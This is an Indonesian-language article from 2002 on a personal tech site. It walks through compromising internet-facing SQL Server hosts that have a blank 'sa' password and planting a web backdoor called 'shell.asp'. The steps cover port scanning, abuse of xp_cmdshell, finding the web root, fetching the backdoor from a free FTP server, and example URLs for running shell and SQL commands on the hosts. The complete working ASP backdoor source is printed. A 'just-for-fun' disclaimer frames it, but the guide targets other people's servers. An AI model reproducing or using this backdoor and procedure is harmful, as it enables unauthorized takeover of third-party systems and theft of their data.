Sunday - May 18, 2008

Home | Site Map | Channels | Profile | Press Room | Services | Contact 

currently 12 user(s) online

search 

   Latest News

»

sony-ak.com Luncurkan Kamus Teknologi Informasi (May 27, 2006)

»

sony-ak.com Luncurkan IT Event Calendar (May 20, 2006)

»

Web Chat Berbasis AJAX dari sony-ak.com (May 09, 2006)

»

sony-ak.com Advertising Program (May 01, 2006)

»

Sony AK di Tabloid PCplus (April 18, 2006)

news archives » 


   Random Article

»

Fungsi phpinfo() untuk Menampilkan Informasi PHP (2402)

»

Menghilangkan Duplikasi Data pada Database MySQL (1488)

»

Mengenal Standard Ukuran Banner untuk Internet Marketing (2918)

»

Melihat Daftar Database, Daftar Tabel dan Struktur Tabel Pada MySQL (4029)

»

Tiga Peranan Penting Internet bagi Usaha Kecil Menengah (UKM) (5949)

   Newsletter

Join our newsletter, you will get alert about content updates

powered by Yahoo! Groups















Nedstat Basic - Free web site statistics

 
 
Menanam Script 'shell.asp' Pada Mesin SQL Server Dan Web Server Yang Ter-Crack !!

Author: Sony Arianto Kurniawan
Published: May 11, 2002
Visits: 4643 - Category: Computer Security
 
     
 

Tulisan ini ada hubungannya dengan tulisan penulis sebelumnya yang berjudul "Miskonfigurasi Pada SQL Server, Awal Dari Bencana Besar !!". Anda sebaiknya membaca dulu artikel mengenai miskonfigurasi diatas agar memudahkan Anda mengerti tulisan ini. Melalui tulisan kali ini kita akan lebih memanfaatkan lagi server SQL Server yang sudah ter-crack. Ini dilakukan dengan cara menanam suatu script ASP pada server SQL Server dan Web Server yang ter-crack tadi. OK, sebelum kita lanjut maka kita wajib mengikuti pesan-pesan berikut ini.

Tulisan ini bersifat terbuka dan Anda bisa memberikan saran atau komentar melalui sony-ak@sony-ak.com. Penulis tidak bertanggung jawab atas segala sesuatu yang terjadi akibat tulisan ini. Tulisan ini hanya dimaksudkan untuk tujuan "just-for-fun" dan semata-mata hanya bagian dari suatu kisah nyata yang dialami oleh seorang anak manusia di bumi ini. Anda dilarang keras mengutip sebagian atau seluruh tulisan ini tanpa sepengetahuan penulis.

Kita tahu bahwa banyak sekali server-server SQL Server yang terhubung ke internet saat ini. Beberapa diantaranya ada yang belum dikonfigurasi dengan benar sehingga seseorang dengan pengetahuan SQL Server yang minim-pun akan mampu masuk ke sistem SQL Server dan wah... it's very dangerous lanjutannya deh. Dan parahnya lagi, banyak sekali server-server di internet yang menjalankan dua service sekaligus, SQL Server dan Web Server (MS IIS), dalam satu mesin yang sama, wah... tambah lagi deh dangerous-nya.

Dari sekian banyak jenis miskonfigurasi yang ada pada SQL Server adalah akibat default password pada account 'sa'. Default passwordnya adalah blank alias NULL. Dengan modal ini saja maka Anda bisa melakukan banyak hal, mulai dari mengakses database-nya sampai mengutak-atik web server-nya jika web server terletak pada mesin itu juga. OK, kita tidak akan berlama-lama dengan kata pengantar di atas, kita akan mulai saja permainan ini dengan menyampaikan tujuan dari tulisan ini. Tujuan kita sebenarnya apa sih? Tujuan kita yaitu sebenarnya adalah memasang suatu backdoor berbasis web kepada server yang menjalankan SQL Server dan Web Server sekaligus. Backdoor yang akan kita buat ini penulis namakan shell.asp dan memanfaatkan SQL Server untuk mengakses shell command.

Berikut ini adalah spesifikasi dan feature dari backdoor shell.asp:

1. Berbasis web

2. Berupa script ASP dengan nama shell.asp, Anda bisa ganti sesuka Anda namanya.

3. Mampu mengakses perintah shell pada server dan mampu untuk menjalankan aplikasi pada server sesuai dengan konteks hak akses SQL Server pada saat itu.

4. Mampu melakukan operasi-operasi database dengan menggunakan perintah-perintah dalam Transact-SQL.

5. Mampu meng-eksploitasi sistem local maupun server SQL Server lain, dengan kata lain shell.asp ini mampu untuk melakukan koneksi ke server lain yang belum dikonfigurasi dengan benar.

Berikut ini adalah hal-hal yang perlu Anda persiapkan sebelum memulai permainan ini:

1. Install SQL Server versi desktop di komputer Anda, kita memerlukan aplikasi SQL Query Analyzer yang nantinya kita gunakan untuk mengadakan koneksi ke host SQL Server di lokal atau di luar.

2. Penulis asumsikan bahwa Anda sudah bisa menggunakan SQL Query Analyzer. Kalo belum ya belajar dulu sana ;)

3. Makanan kecil, rokok (jika merokok) dan air minum secukupnya, soalnya daripada Anda bolak balik ke kulkas buat nyari makanan ;) Biasanya sih penulis sambil ngemil Chitato gede.

Dengan feature-feature di atas maka kita dapat menguasai sistem secara penuh dan powerful. Ini dikarenakan biasanya SQL Server di-install pada context LocalSystem account dan ini lebih tinggi daripada account Administrator pada Windows NT.

OK, sekarang kita akan bahas hal-hal apa saja yang harus dilakukan untuk mengimplementasikan backdoor shell.asp kita ini.

1. Scanning internet untuk mencari host SQL Server dengan password account 'sa' yang masih blank. Anda bisa melakukannya dengan sembarang portscanner dengan tujuan port tcp1433. Setelah mendapatkan host yang open port tcp1433 nya, ujilah account 'sa' pada host tersebut apakah masih blank password. Anda dapat mencoba connect ke host tersebut dengan SQL Query Analyzer (included dalam MS SQL Server) dan cobalah masuk dengan default password tadi. Anda dapat juga menggunakan SQL scanner khusus untuk mendapatkan host ini, seperti menggunakan x-scan atau yang lain (SQL Server scanner bisa Anda dapatkan di www.securiteam.com).

2. Setelah Anda mendapatkan host SQL Server yang bolong tadi maka periksa juga apakah pada host tersebut juga menjalankan service Web Server/MS IIS (w3svc). Jika tidak ada service Web Server yang jalan maka langkah Anda hentikan saja sampai disini dan kembali ke langkah 1. Tapi jika Anda masih ngotot Anda bisa saja menjalankan perintah 'net start w3svc', jika memang service Web Server dalam keadaan stopped. Jika di host tersebut ternyata terdapat service Web Server yang jalan maka lanjutkan ke langkah 3. Ingat begitu Anda terhubung ke SQL Server korban dengan menggunakan SQL Query Analyzer maka Anda sudah bisa menjalankan segala perintah shell dengan menggunakan stored procedure xp_cmdshell pada database master, contohnya adalah sbb:

exec xp_cmdshell 'dir c:\'

Gambar contohnya sebagai berikut:

3. Carilah folder yang menjadi web root folder. Caranya mudah, pada SQL Query Analyzer yang sudah terhubung ke host SQL Server tadi Anda bisa ketik sbb:

exec xp_cmdshell 'dir /s c:\*.asp'

atau

exec xp_cmdshell 'dir /s c:\*.htm'

Ada cara lain untuk mengetahui web root folder yaitu dengan mengakses ke registry windows, tapi penulis lupa caranya, catetan gue ilang and gue lagi males mbongkar CD-ROM gue hehe ;)

4. Copykan script shell.asp (ada dibawah) ke dalam web root folder tadi. Gimana caranya? Salah satunya Anda bisa memanfaatkan teknik transfer lewat FTP dan Anda harus membuat file FTP script pada server SQL Server korban. Script shell.asp pertama-tama Anda upload dulu ke FTP server gratisan. Terus pada host SQL Server tadi Anda buat file FTP script untuk mendownload script shell.asp ke host SQL Server korban. Penulis tidak akan mengajari pembuatan file FTP script dengan asumsi pembaca sudah tahu dan artikel mengenai pembuatan file FTP script akan penulis sajikan pada kesempatan yang lain.

5. Jika script shell.asp sudah berada pada host SQL Server korban maka tinggal Anda copy-kan script tersebut ke web root folder dan kemudian panggil script tersebut dari web browser, contohnya sbb:

http://your_sql_target_dot_com/shell.asp

Jika berhasil maka Anda akan melihat banner string dari script tersebut. Sampai disini Anda sudah berhasil menanam backdoor bagi host tersebut.

Sekarang kita akan membicarakan masalah penggunaan script shell.asp pada server tadi. Script shell.asp ini sebenarnya memanfaatkan SQL Server untuk menjalankan aksinya. Artinya apa? Script ini mampu menjalankan semua perintah shell pada host tersebut dengan cara memanggil stored procedure xp_cmdshell dan juga mampu menjalankan segala operasi database dengan syntax Transact-SQL. Script shell.asp jika langsung dipanggil di browser memang tidak akan mengembalikan informasi yang berarti, tetapi sebenarnya shell.asp ini punya beberapa parameter. Beberapa parameter yang tersedia adalah:

(a). s parameter, parameter ini berguna untuk menentukan target server yang akan di eksploitasi. Anda dapat mengisi parameter ini dengan IP atau host name SQL Server target. Jika Anda tidak menyertakan parameter 's' ini maka shell.asp akan otomatis mengisinya dengan asumsi local host.

(b). u parameter, parameter ini berguna untuk menentukan username SQL Server. Anda bisa mengisi parameter ini dengan nilai 'sa' sebagai username yang pasti ada di SQL Server.

(c). p parameter, parameter ini berguna untuk menentukan password SQL Server. Jika password SQL Server target masih blank maka Anda bisa tidak menyertakan parameter ini.

(d). c parameter, parameter ini berguna untuk menentukan perintah shell yang akan di eksekusi di host SQL Server target.

(e). q parameter, parameter ini berguna untuk menentukan perintah database/transact-sql yang akan dieksekusi akan host SQL Server target. Jika Anda sudah mengisi parameter 'c' dengan suatu nilai dan Anda juga mengisi parameter 'q' maka otomatis shell.asp akan mengabaikan nilai parameter 'c' dan akan menjalankan perintah pada parameter 'q'. Jika Anda ingin menjalankan perintah pada parameter 'c' maka Anda cukup hilangkan saja nilai pada parameter 'q'.

Sampai disini mungkin Anda masih sedikit bingung maksud dari parameter diatas. OK, sekarang penulis akan memberikan contoh nyata dari penerapan shell.asp dengan parameter diatas.

Contoh 1:
Anda ingin menjalankan perintah 'dir c:\' menggunakan shell.asp pada server lokal:
http://your_sql_target_dot_com/shell.asp?u=sa&c=dir c:\

Contoh 2:
Anda ingin menjalankan perintah 'dir c:\' menggunakan shell.asp pada server lokal yang mempunyai IP 202.155.32.12 dengan username 'sa' dan password 'gundul':
http://your_sql_target_dot_com/shell.asp?s=202.155.32.12&u=sa&p=gundul&c=dir c:\

Contoh 3:
Anda ingin melihat daftar database dengan perintah SQL 'select * from master..sysdatabases' yang ada pada server yang mempunyai IP 202.155.32.12 dengan username 'sa' dan password 'gundul':
http://your_sql_target_dot_com/shell.asp?s=202.155.32.12&u=sa&p=gundul&q=select * from master..sysdatabases
Gambar contohnya sebagai berikut:

Dari tiga contoh diatas maka dapat disimpulkan kita dapat melakukan apapun baik pada host local dimana shell.asp berada atau bahkan me-remote server lain, asalkan kita sudah tau server tersebut menggunakan SQL Server dan tahu pula username dan password nya.

OK deh bagi Anda yang sudah tidak sabar dengan script shell.asp, berikut ini adalah code dari script shell.asp kita.

<% option explicit %>
<html>
<head>
<meta name="Author" content="anonymous person from planet mars">
<meta name="Comments" content="you can modify or distribute this code as long as you credits me on your code">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<title>Microsoft SQL Server Exploit</title>
</head>
<body>
<%
dim ServerTarget, Username, Password
dim ShellCommand, SQLCommand, ConnectionString
dim Connection, RecordSet, RowString
dim Copyright
Copyright = "copyright © 2002 by anonymous person from planet mars - All rights reserved"
ServerTarget = Request.QueryString("s")
Username = Request.QueryString("u")
Password = Request.QueryString("p")
ShellCommand = Request.QueryString("c")
SQLCommand = Request.QueryString("q")
if ServerTarget = "" then
ServerTarget = "(local)"
end if
if Request.QueryString = "" then
Response.Write "<center>Microsoft SQL Server Exploit © 2002 by anonymous person from planet mars - Version 1.2</center></body></html>"
Response.End
end if
Username = Replace(Username,"'","''")
Password = Replace(Password,"'","''")
ConnectionString = "Provider=SQLOLEDB;Data Source=" & ServerTarget & ";Initial Catalog=master;User ID=" & Username & ";Password=" & Password & ";Network Library=dbmssocn;Workstation ID=cracker"
Set Connection = Server.CreateObject("ADODB.Connection")
Connection.Open ConnectionString
Set RecordSet = Server.CreateObject("ADODB.Recordset")
if SQLCommand <> "" then
Response.Write "<pre>"
Response.Write "<center>Your target server is """ & ServerTarget & """<br>Your command is """ & SQLCommand & """</center>&nbsp;</pre>"
Set RecordSet = Connection.Execute(SQLCommand)
if RecordSet.State = 0 then
Response.Write "<pre><center>Success !!<br><hr><br>" & Copyright & "</center></pre>"
Set RecordSet = nothing
Set Connection = nothing
Response.Write "</body></html>"
Response.End
end if
RecordSet.MoveFirst
Response.Write "<table border='1' cellpadding='0' cellspacing='0' style='border-collapse: collapse' bordercolor='#111111' width='100%' id='AutoNumber1'>"
Response.Write "<tr>"
dim Counter,Counter2
for Counter = 0 to RecordSet.Fields.Count - 1
Response.Write "<td>&nbsp;<b>" & RecordSet.Fields(Counter).Name & "</b>&nbsp;</td>"
next
Response.Write "</tr>"
while not RecordSet.EOF
Response.Write "<tr>"
for Counter2 = 0 to RecordSet.Fields.Count - 1
if IsNull(RecordSet(Counter2)) then
Response.Write "<td>&nbsp;NULL&nbsp;</td>"
else
Response.Write "<td>&nbsp;" & CStr(RecordSet(counter2)) & "&nbsp;</td>"
end if
next
Response.Write "</tr>"
RecordSet.MoveNext
wend
Response.Write "</table>"
Set RecordSet = nothing
Set Connection = nothing
Response.Write "<br><center>" & Copyright & "</center>"
Response.Write "</body></html>"
Response.End
end if
Response.Write "<pre>"
Response.Write "<center><hr></center>"
Response.Write "<center>Your target server is """ & ServerTarget & """<br>Your command is """ & ShellCommand & """</center><br>&nbsp;<br>"
Set RecordSet = Connection.Execute("exec xp_cmdshell '" & ShellCommand & "'")
if RecordSet.State = 0 then
Response.Write "<pre><center>Success !!<br><hr><br>" & Copyright & "</center></pre>"
Set RecordSet = nothing
Set Connection = nothing
Response.Write "</body></html>"
Response.End
end if
RecordSet.MoveFirst
While not RecordSet.EOF
If IsNull(RecordSet(0)) Then
RowString = "&nbsp;"
Else
RowString = RecordSet(0)
End If
RowString = Replace(RowString,"<","&lt;")
RowString = Replace(RowString,">","&gt;")
Response.Write RowString & "<br>"
RecordSet.MoveNext
Wend
Response.Write "<center><hr><br>"
Response.Write Copyright & "</center>"
Set RecordSet = nothing
Set Connection = nothing
Response.Write "</pre>"
%>
</body>
</html>

Demikianlah tulisan mengenai penggunaan script shell.asp, semoga bisa menimbulkan suatu ide baru bagi Anda ;) Tulisan ini bagaikan pedang bermata dua, bisa digunakan untuk kebaikan atau kejahatan. Penulis menganggap tujuan dari script shell.asp ini adalah digunakan untuk meng-administrasi database Anda dari web.

I am a real lamer but I'll try to be a nice lamer ;) Kalau mau kirim komentar bisa ke sony-ak@sony-ak.com. Jika ingin melihat artikel lain bisa ke Sony AK Knowledge Center.

Terimakasih.

Mission completed on 12:52 PM.

Anda juga bisa men-download script shell.asp di sini.




 Recommended articles
 

»

Tips PHP: Koneksi dari PHP ke Database MS SQL Server (2508)

»

Fungsi Terbilang pada Visual Basic 6.0 (4832)

»

Tips Membuat Password yang Baik (5291)

»

AJAX (Asynchronus JavaScript and XML) - Bagian I (2109)

»

Mengelola Informasi untuk Perusahaan (2469)

 Send your comments or suggestions
Full Name :
E-mail :
Comments :
 
 

  Privacy | Site Map | Advertise

  Copyright © 2003 - 2006 Sony AK Knowledge Center - all rights reserved

  info@sony-ak.com